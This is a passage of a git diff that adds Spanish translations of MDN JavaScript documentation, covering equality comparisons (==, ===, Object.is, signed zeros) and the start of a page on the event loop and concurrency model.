+   <td style="text-align: center;"><code>A == ToPrimitive(B)</code></td>
+  </tr>
+  <tr>
+   <td>String</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === B</code></td>
+   <td style="text-align: center;"><code>A === B</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A == ToPrimitive(B)</code></td>
+  </tr>
+  <tr>
+   <td>Boolean</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === B</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A === B</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) == ToPrimitive(B)</code></td>
+  </tr>
+  <tr>
+   <td>Object</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>ToPrimitive(A) == B</code></td>
+   <td style="text-align: center;"><code>ToPrimitive(A) == B</code></td>
+   <td style="text-align: center;"><code>ToPrimitive(A) == ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A === B</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>En la tabla previa, <code>ToNumber(A)</code> intenta convertir su argumento a número antes de realizar la compración.  Su comportamiento es equivalente a <code>+A</code> (el operador unario +).  <code>ToPrimitive(A)</code> intenta convertir su objeto argumento a un valor de tipo primitivo realizando varias secuencias de invocaciones <code>A.toString</code> y <code>A.valueOf</code> en <code>A</code>.</p>
+
+<p>Tradicionalmente, y de acuerdo con la especificación ECMAScript, todos los objetos son débilmente desiguales comparándolos con <code>undefined</code> y<code> null</code>. Pero algunos nevegadores permiten que una cantidad muy limitada  de <code>clases</code> de objetos  (especifícamente , el objeto <code>documento.all</code> para todas las páginas), en algunos contextos, puedan actuar como si <em>emularan</em> el valor <code>undefined</code>. En ese contexto se evalúa como verdadero las igualdades débiles null == A y undefined == A, sí y sólo sí, A es un objecto que emula <code>undefined</code>. En cualquier otro caso la igual débil no será verdadera con <code>undefined</code> o <code>null</code>.</p>
+
+
+
+<pre class="brush: js">var num = 0;
+var obj = new String("0");
+var str = "0";
+var b = false;
+
+console.log(num == num); // true
+console.log(obj == obj); // true
+console.log(str == str); // true
+
+console.log(num == obj); // true
+console.log(num == str); // true
+console.log(obj == str); // true
+console.log(null == undefined); // true
+
+// both false, except in rare cases
+console.log(obj == null);
+console.log(obj == undefined);
+</pre>
+
+
+
+<p>Algunos desarrolladores consideran que nunca es una buena idea usar este tipo de igualdad, la igualdad débil. El resultado cuando se usa la igualdad estricta es más fácil de predecir y , como no hay coerción de tipos durante la evaluación, es con casi total seguridad más rápida.</p>
+
+
+
+<h2 id="Igualdad_Same-value">Igualdad Same-value</h2>
+
+
+
+<p>La igualdad Same-value se encarga de un último caso de uso: determinar si dos valores son <em>funcionalmente idénticos</em> en todos los contextos. (Este caso de uso es un caso de ejemplo del <a href="http://en.wikipedia.org/wiki/Liskov_substitution_principle" title="http://en.wikipedia.org/wiki/Liskov_substitution_principle">Liskov substitution principle</a>.) Un ejemplo de esto ocurre cuando se intenta hacer mutable una propiedad inmutable.</p>
+
+
+
+<pre class="brush: js">// Add an immutable NEGATIVE_ZERO property to the Number constructor.
+Object.defineProperty(Number, "NEGATIVE_ZERO",
+                      { value: -0, writable: false, configurable: false, enumerable: false });
+
+function attemptMutation(v)
+{
+  Object.defineProperty(Number, "NEGATIVE_ZERO", { value: v });
+}
+</pre>
+
+
+
+<p><code>Object.defineProperty</code> que lanzará una excepción cuando se intente cambiar una propiedad inmutable la cambiará, pero no hará nada si al solicitar el cambio actual . Si v es -0, no ha sido solicitado ningún cambio y no se lanzará ningún error. Pero si v es +0, <code>Number</code> . NEGATIVE_ZERO no tendrá más su valor inmutalbe. Internamente, al redefinir una propiedad inmutbale, el nuevo valor se compara con el valor actual usando la igualdad same-value.</p>
+
+
+
+<p>El método <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> nos proporciona la igualdad same-value.</p>
+
+
+
+<h2 id="Igualdad_Same-value-zero">Igualdad Same-value-zero</h2>
+
+<p>Similar a la igualdad same-value, pero +0 y -0 son considerados iguales.</p>
+
+
+
+<h2 id="Igualdad_abstracta_igualdad_estricta_e_igualdad_same_value_en_la_especificación.">Igualdad abstracta, igualdad estricta e igualdad same value en la especificación.</h2>
+
+
+
+<p>En la especificación ES5, la comparación<code> </code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators"><code>== </code></a><code>queda descrita en</code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators"><code> </code></a><a href="http://ecma-international.org/ecma-262/5.1/#sec-11.9.3" title="http://ecma-international.org/ecma-262/5.1/#sec-11.9.3">Section 11.9.3, The Abstract Equality Algorithm</a>. La comparación  <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators"><code>=== </code></a>en <a href="http://ecma-international.org/ecma-262/5.1/#sec-11.9.6" title="http://ecma-international.org/ecma-262/5.1/#sec-11.9.6">11.9.6, The Strict Equality Algorithm</a>. (Búscala y leela, son breves y fáciles de leer. Nota: lee el algoritmo de la igualdad estricta primero.) ES5 también describe, en <a href="http://ecma-international.org/ecma-262/5.1/#sec-9.12" title="http://ecma-international.org/ecma-262/5.1/#sec-9.12">Section 9.12, The SameValue Algorithm  </a>para uso interno del motor JS. Es, en su mayoría igual que el algoritmo de igualdad estricto, excepto porque 11.9..6.4 y 9.12.4 difieren en cómo tratar los <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number"><code>Numbers. </code></a><code>ES2015 simplemente propone exponer este algoritmo mediante el uso de </code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a>.</p>
+
+<p>Podemos ver con el igual doble y el triple que, con la excepción de hacer con antelación una comprobación de tipo en 11.9.6.1, el algorimto de igualdad estricta es un subconjunto del algorimot de igualdad abstracta porque 11.9.6.2-7 se corresponde con 11.9.3.1a-f.</p>
+
+
+
+<h2 id="¿_Un_modelo_para_comprender_las_comparacions_de_igualdad">¿ Un modelo para comprender las comparacions de igualdad?</h2>
+
+
+
+<p>Antes de ES2015, podíamos haber dicho sobre el igual doble y el igual triple que uno es una versión mejoradad del otro. Por ejemplo, alguien podría decir que el igual doble es una versión extendida del igual triple ya que el primero hace todo lo que hace el segundo pero añadiendo la conversión de operadores. Por ejemplo 6 == "6". (De manera alternativa alguien podría decir que el igual doble es la base y que el igual triple es una versión mejorada, ya que requiere que los dos operadores sean del mismo tipo y, por lo tanto, añade una restricción adicional. Qué afirmación es mejor para entender el modelo depende en tu punto de vista).</p>
+
+<p>Sin embargo. esta manera de pensar sobre los operadores de igualdad proporcionados de manera nativa no es un modelo en el que podamos encuadrar la versión  ES2015<code> de </code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is. Object.is </code></a>no es simplemente más débil que el doble igual o más estricto que el triple igual, ni tampoco ocupa un lugar intermedio (por ejemplo siendo a la vez más estricto que el igual doble y más débil que el igual triple). Podemos ver en la tabla inferior que esto se debe a la manera en la que <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is </code></a>maneja <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN"><code>NaN</code></a>. Fíjate que si <code>Object.is(Nan, Nan)</code> evaluara a falso podríamos decir que que se encuadra dentro de la escala débil /estricta como algo más estricto que el triple igual, como un operador que distigue entre +0 y -0. Sin embargo en el manejo de <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN"><code>NaN </code></a>esto no es cierto. Simplemente debemos considerar <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is </code></a>en términos de sus características específicas y no en relación a su debilidad o rigidez dentro del especto de los operadores de igualdad.</p>
+
+
+
+<table class="standard-table">
+ <caption>Comparadores de Igualdad</caption>
+ <thead>
+  <tr>
+   <th scope="col" style="text-align: center;">x</th>
+   <th scope="col" style="text-align: center;">y</th>
+   <th scope="col" style="width: 10em; text-align: center;"><code>==</code></th>
+   <th scope="col" style="width: 10em; text-align: center;"><code>===</code></th>
+   <th scope="col" style="width: 10em; text-align: center;"><code>Object.is</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>undefined</code></td>
+   <td><code>undefined</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>null</code></td>
+   <td><code>null</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>"foo"</code></td>
+   <td><code>"foo"</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>{ foo: "bar" }</code></td>
+   <td><code>x</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>+0</code></td>
+   <td><code>-0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td><code>0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>"0"</code></td>
+   <td><code>0</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>"17"</code></td>
+   <td><code>17</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>[1,2]</code></td>
+   <td><code>"1,2"</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>new String("foo")</code></td>
+   <td><code>"foo"</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>null</code></td>
+   <td><code>undefined</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>null</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>undefined</code></td>
+   <td><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>{ foo: "bar" }</code></td>
+   <td><code>{ foo: "bar" }</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>new String("foo")</code></td>
+   <td><code>new String("foo")</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>null</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>NaN</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>"foo"</code></td>
+   <td><code>NaN</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>NaN</code></td>
+   <td><code>NaN</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+ </tbody>
+</table>
+
+
+
+<h2 id="Cuando_usar_Object.is_o_el_igual_triple">Cuando usar <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> o el igual triple</h2>
+
+<p>Además de como trata <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN"><code>NaN</code></a>, generalmente, la única vez en la que <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> posee un comportamiento especial hacia los ceros puede resultar de interés para usar ciertos esquemas de meta-programación, sobre todo en relación a los descriptores de porpiedades cuando es deseable que nuestro trabajo replique algunas de las características de <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty"><code>Object.defineProperty</code></a>. Si en tu situación no requiere de esto, lo mejor es evitar <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is </code></a>y usar <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators"><code>===. </code></a>Incluso si entre tus requisitos está poseer que la  comparación entre dos valores <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN</a></code>sea verdadera, generalmente es más fácil hacer un caso especial para ello (usando el método <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isNaN"><code>isNaN </code></a>que está disponible en versiones previas de ECMAScript) que calcular cómo la operaciones van afectar a los posibles signos de los valores cero en tu comparación.</p>
+
+
+
+<p>Aquí podemos ver una lista exhaustiva de los método y operadores nativos que pueden distinguir entre -0 y +0 en tu código:</p>
+
+
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#-_.28Unary_Negation.29" title="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators"><code>- (unary negation)</code></a></dt>
+</dl>
+
+<dl>
+ <dd>
+ <p>Obviamente negar 0 genera -0. <code>Pero al abstracción de una expresión puede causar que un valor -0 se cuele sin darte cuenta</code> Consideremos el siguiente ejemplo:</p>
+
+ <pre class="brush:js">let stoppingForce = obj.mass * -obj.velocity</pre>
+
+ <p>Si o<code>bj.velocity</code> is <code>0</code> (o se calcula como <code>0</code>), se inserta<code>-0 </code>en ese lugar y este valor se propaga a<code> </code><code>stoppingForce</code>.</p>
+ </dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/atan2" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/atan2"><code>Math.atan2</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/ceil" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/ceil"><code>Math.ceil</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow"><code>Math.pow</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/round" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/round"><code>Math.round</code></a></dt>
+</dl>
+
+<dl>
+ <dd>Se puede introducir un -0 dentro de una expresión como valor de retorno  en estos método, incluso cuando -0 no sea uno de los parámetros. Por ejemplo usando <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/pow"><code>Math.pow</code></a> para elevar <code>-<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code> a cualquier potencia negativa, los exponentes impares se evaluarán como -0. Consulta la documentación para más detalles sobre cada uno de los métodos.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor"><code>Math.floor</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max"><code>Math.max</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/min"><code>Math.min</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sin" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sin"><code>Math.sin</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/sqrt"><code>Math.sqrt</code></a></dt>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/tan" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/tan"><code>Math.tan</code></a></dt>
+</dl>
+
+<dl>
+ <dd><code>Es posible obtener, en algunos casos, -0 como valor de retorno de estos métodos cuando -0 sea uno de los parámetros Por ejemplo </code>Math.min(-0,+0) devuelve -0. Consulta la documentación para más detalles sobre cada uno de los métodos.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">~</a></code></dt>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">&lt;&lt;</a></code></dt>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">&gt;&gt;</a></code></dt>
+ <dd>Cada uno de estos operadores usa el algoritmo ToInt32 de manera interna. Como sólo hay un representacion de 0 para el intero de 32-bit interno. -0 no sobrevivirá a la operación inversa. Por ejemplo Object.is(~~(-0), -0) y Object.is(-0 &lt;&lt; 2 &gt;&gt; 2, -0) devolverán false.</dd>
+</dl>
+
+<p>Confiar en <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> cuando no hay que tener en cuenta el signo de los ceros puede ser peligroso. Por supuesto para el caso contrario hará exactamente lo deseado.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li><a href="http://dorey.github.io/JavaScript-Equality-Table/">JS Comparison Table</a></li>
+</ul>
diff --git a/files/es/web/javascript/eventloop/index.html b/files/es/web/javascript/eventloop/index.html
new file mode 100644
index 0000000000..b8b82ee16d
--- /dev/null
+++ b/files/es/web/javascript/eventloop/index.html
@@ -0,0 +1,110 @@
+---
+title: Modelo de concurrencia y loop de eventos
+slug: Web/JavaScript/EventLoop
+tags:
+  - Avanzado
+  - JavaScript
+translation_of: Web/JavaScript/EventLoop
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<div>JavaScript poseé un modelo de concurrencia basado en un "loop de eventos". Este modelo es bastante diferente al modelo de otros lenguajes como C o Java.</div>
+
+<div> </div>
+
+<h2 id="Conceptos_de_un_programa_en_ejecución">Conceptos de un programa en ejecución</h2>
+
+<p>Las siguientes secciones explican un modelo teórico. Los motores modernos de JavaScript implementan y optimizan fuertemente la semántica descrita a continuación.</p>
+
+<h3 id="Representación_visual">Representación visual</h3>
+
+<p style="text-align: center;"><img alt="Stack, heap, queue" src="/files/4617/default.svg" style="height: 270px; width: 294px;"></p>
+
+<h3 id="Pila_(Stack)">Pila (Stack)</h3>
+
+<p>Las llamadas a función forman una pila de <em>frames.</em> Un frame encapsula información como el contexto y las variables locales de una función.</p>
+
+<pre class="brush: js">function f(b){
+  var a = 12;
+  return a+b+35;
+}
+
+function g(x){
+  var m = 4;
+  return f(m*x);
+}
+
+g(21);
+</pre>
+
+<p>Cuando se llama a <code>g</code>, un primer frame es creado, el cual contiene <code>g</code> argumentos y variables locales. Cuando <code>g</code> llama a <code>f</code>, un segundo frame es creado y colocado encima del primero, con <code>f</code> argumentos y variables locales. Cuando <code>f</code> termina de ejecutarse, el último frame (en este caso <code>f</code>) es sacado de la pila (déjando solo el frame de <code>g</code>). Cuando <code>g</code> termina de ejecutarse, la pila está vacía.</p>
+
+<h3 id="Montículo_(Heap)">Montículo (Heap)</h3>
+
+<p>Los objetos son colocados en un montículo, el cual, como su nombre lo dice, denota una gran región de memoria, mayormente sin estructura u orden.</p>
+
+<h3 id="Cola_(Queue)">Cola (Queue)</h3>
+
+<p>Un programa en ejecución en JavaScript contiene una cola de mensajes, la cual es una lista de mensajes a ser procesados. Cada mensaje se asocia con una función. Cuando la pila está vacía, un mensaje es sacado de la cola y procesado. Procesar un mensaje consiste en llamar a la función asociada al mensaje (y por ende crear una frame en la pila). El mensaje procesado termina cuando la pila está vacía de nuevo.</p>
+
+<h2 id="Loop_de_eventos">Loop de eventos</h2>
+
+<p>El <code>loop de eventos</code> obtiene su nombre por la forma en que es usualmente implementado, la cual generalmente se parece a:</p>
+
+<pre class="brush: js">while(queue.waitForMessage()){
+  queue.processNextMessage();
+}</pre>
+
+<p><code>queue.waitForMessage</code> espera de manera síncrona a que llegue un mensaje si no hay ninguno actualmente.</p>
+
+<h3 id="Ejecutar-hasta-completar">"Ejecutar-hasta-completar"</h3>
+
+<p>Cada mensaje es procesado completamente antes que cualquier otro mensaje sea procesado. Esto ofrece algunas propiedades convenientes al momento de pensar en un programa, incluido el hecho de que cada vez que una función se ejecuta, ésta no puede ser terminada y se ejecutará totalmente antes de que cualquier otro código se ejecute (y de este modo pueda modificar la información que la función manipula). Esto es diferente de C, por ejemplo, donde si una función se ejecuta en un hilo, esta puede ser detenida en cualquier punto para ejecutar código en otro hilo.</p>
+
+<p>Una desventaja de este modelo es que, si un mensaje toma mucho tiempo en completarse, la aplicación es incapaz de procesar las interacciones de usuario, tales como clicks o scrolling. El navegador mitiga esta desventaja con el mensaje "un script esta tomando mucho tiempo en ejecutarse". Una buena práctica es hacer que el procesamiento del mensaje sea corto y, si es posible, dividir une mensaje en varios más.</p>
+
+<h3 id="Añadiendo_mensajes">Añadiendo mensajes</h3>
+
+<p>En los navegadores web, los mensajes son añadidos cada vez que un evento ocurre y hay un escuchador de eventos asociado a él. Si no hay un escuchador, el evento se pierde. De este modo, al hacer click en un elemento con un manejador de eventos tipo click, se añadirá un mensaje. Lo mismo sucede en otros tipos de eventos.</p>
+
+<p>Al llamar <code><a href="/en-US/docs/Web/API/WindowTimers.setTimeout" title="/en-US/docs/window.setTimeout">setTimeout</a></code> se añadirá un mensaje a la cola después de el tiempo especificado como segundo parámetro. Si no hay ningún otro mensaje en la cola, el mensaje es procesado en el momento; sin embargo, si hay mensajes en la cola, el mensaje de <code>setTimeout </code>tendrá que esperar a que los otros mensajes sean procesados. Por esta razón el segundo parámetro indica el tiempo mínimo tiempo esperado y no es una garantía.</p>
+
+<h3 id="Cero_retraso">Cero retraso</h3>
+
+<p>Cero retraso no significa que una llamada a una función (call back) se disparará después de cero milisegundos. Al llamar {{domxref("WindowTimers.setTimeout", "setTimeout")}} con un retraso de 0 (cero) milisegundos, no se ejecuta la llamada de la función después de el intervado dado. La ejecución depende del número de tareas en espera en la cola. En el ejemplo de abajo el mensaje "this is just a message" será escrito en la terminal antes de que el mensaje de la llamada a la función sea procesado, esto es por que el retraso es el tiempo mínimo requerido para que el programa procese la petición, pero no es un tiempo garantizado.</p>
+
+<pre class="brush: js">(function () {
+
+  console.log('this is the start');
+
+  setTimeout(function cb() {
+    console.log('this is a msg from call back');
+  });
+
+  console.log('this is just a message');
+
+  setTimeout(function cb1() {
+    console.log('this is a msg from call back1');
+  }, 0);
+
+  console.log('this is the  end');
+
+})();
+
+// "this is the start"
+// "this is just a message"
+// "this is the end"
+// cabe notar que la función retorna en este punto (undefined)
+// "this is a msg from call back"
+// "this is a msg from call back1"
+</pre>
+
+<h3 id="Varios_programas_comunicandose_al_mismo_tiempo">Varios programas comunicandose al mismo tiempo</h3>
+
